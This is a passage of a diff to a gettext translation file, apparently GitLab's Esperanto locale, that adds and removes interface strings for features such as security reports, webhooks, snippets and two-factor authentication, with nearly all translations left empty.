msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr "Forigi la projekton"
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr "Serĉu branĉon aŭ etikedon"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr "Etikedoj"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr "La aro da eventoj, kiuj estas aldonitaj al la datenoj kolektitaj por la
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr "Ĉiu povas havi atingon al la projekto, sen ensaluti"
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
